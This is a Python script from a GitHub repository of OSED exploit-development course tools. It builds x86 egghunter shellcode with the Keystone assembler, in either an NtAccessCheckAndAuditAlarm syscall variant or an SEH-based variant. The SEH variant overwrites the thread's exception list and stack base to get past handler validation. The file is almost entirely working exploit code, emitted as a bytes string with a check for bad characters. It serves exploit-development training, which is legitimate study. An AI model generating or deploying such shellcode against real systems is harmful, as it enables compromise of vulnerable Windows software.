forked from epi052/osed-scripts
-
Notifications
You must be signed in to change notification settings - Fork 1
/
egghunter.py
executable file
·170 lines (146 loc) · 5.43 KB
/
egghunter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/python3
import sys
import argparse
import keystone as ks
def is_valid_tag_count(s):
return True if len(s) == 4 else False
def tag_to_hex(s):
string = s
if is_valid_tag_count(s) == False:
args.tag = "c0d3"
string = args.tag
retval = list()
for char in string:
retval.append(hex(ord(char)).replace("0x", ""))
return "0x" + "".join(retval[::-1])
def ntaccess_hunter(tag):
asm = f"""
loop_inc_page:
or dx, 0x0fff
loop_inc_one:
inc edx
loop_check:
push edx
xor eax, eax
add ax, 0x01c6
int 0x2e
cmp al, 05
pop edx
loop_check_valid:
je loop_inc_page
is_egg:
mov eax, {tag_to_hex(tag)}
mov edi, edx
scasd
jnz loop_inc_one
first_half_found:
scasd
jnz loop_inc_one
matched_both_halves:
jmp edi
"""
return asm
def seh_hunter(tag):
asm = [
"start:",
"jmp get_seh_address", # start of jmp/call/pop
"build_exception_record:",
"pop ecx", # address of exception_handler
f"mov eax, {tag_to_hex(tag)}", # tag into eax
"push ecx", # push Handler of the _EXCEPTION_REGISTRATION_RECORD structure
"push 0xffffffff", # push Next of the _EXCEPTION_REGISTRATION_RECORD structure
"xor ebx, ebx",
"mov dword ptr fs:[ebx], esp", # overwrite ExceptionList in the TEB with a pointer to our new _EXCEPTION_REGISTRATION_RECORD structure
# bypass RtlIsValidHandler's StackBase check by placing the memory address of our _except_handler function at a higher address than the StackBase.
"sub ecx, 0x04", # substract 0x04 from the pointer to exception_handler
"add ebx, 0x04", # add 0x04 to ebx
"mov dword ptr fs:[ebx], ecx", # overwrite the StackBase in the TEB
"is_egg:",
"push 0x02",
"pop ecx", # load 2 into counter
"mov edi, ebx", # move memory page address into edi
"repe scasd", # check for tag, if the page is invalid we trigger an exception and jump to our exception_handler function
"jnz loop_inc_one", # didn't find signature, increase ebx and repeat
"jmp edi", # found the tag
"loop_inc_page:",
"or bx, 0xfff", # if page is invalid the exception_handler will update eip to point here and we move to next page
"loop_inc_one:",
"inc ebx", # increase memory page address by a byte
"jmp is_egg", # check for the tag again
"get_seh_address:",
"call build_exception_record", # call portion of jmp/call/pop
"push 0x0c",
"pop ecx", # store 0x0c in ecx to use as an offset
"mov eax, [esp+ecx]", # mov into eax the pointer to the CONTEXT structure for our exception
"mov cl, 0xb8", # mov 0xb8 into ecx which will act as an offset to the eip
# increase the value of eip by 0x06 in our CONTEXT so it points to the "or bx, 0xfff" instruction to increase the memory page
"add dword ptr ds:[eax+ecx], 0x06",
"pop eax", # save return address in eax
"add esp, 0x10", # increase esp to clean the stack for our call
"push eax", # push return value back into the stack
"xor eax, eax", # null out eax to simulate ExceptionContinueExecution return
"ret",
]
return "\n".join(asm)
def main(args):
egghunter = ntaccess_hunter(args.tag) if not args.seh else seh_hunter(args.tag)
eng = ks.Ks(ks.KS_ARCH_X86, ks.KS_MODE_32)
if args.seh:
encoding, count = eng.asm(egghunter)
else:
print("[+] Egghunter assembly code + coresponding bytes")
asm_blocks = ""
prev_size = 0
for line in egghunter.splitlines():
asm_blocks += line + "\n"
encoding, count = eng.asm(asm_blocks)
if encoding:
enc_opcode = ""
for byte in encoding[prev_size:]:
enc_opcode += "0x{0:02x} ".format(byte)
prev_size += 1
spacer = 30 - len(line)
print("%s %s %s" % (line, (" " * spacer), enc_opcode))
final = ""
final += 'egghunter = b"'
for enc in encoding:
final += "\\x{0:02x}".format(enc)
final += '"'
sentry = False
for bad in args.bad_chars:
if bad in final:
print(f"[!] Found 0x{bad}")
sentry = True
if sentry:
print(f"[=] {final[14:-1]}", file=sys.stderr)
raise SystemExit("[!] Remove bad characters and try again")
print(f"[+] egghunter created!")
print(f"[=] len: {len(encoding)} bytes")
print(f"[=] tag: {args.tag * 2}")
print(f"[=] ver: {['NtAccessCheckAndAuditAlarm', 'SEH'][args.seh]}\n")
print(final)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Creates an egghunter compatible with the OSED lab VM"
)
parser.add_argument(
"-t",
"--tag",
help="tag for which the egghunter will search (default: c0d3)",
default="c0d3",
)
parser.add_argument(
"-b",
"--bad-chars",
help="space separated list of bad chars to check for in final egghunter (default: 00)",
default=["00"],
nargs="+",
)
parser.add_argument(
"-s",
"--seh",
help="create an seh based egghunter instead of NtAccessCheckAndAuditAlarm",
action="store_true",
)
args = parser.parse_args()
main(args)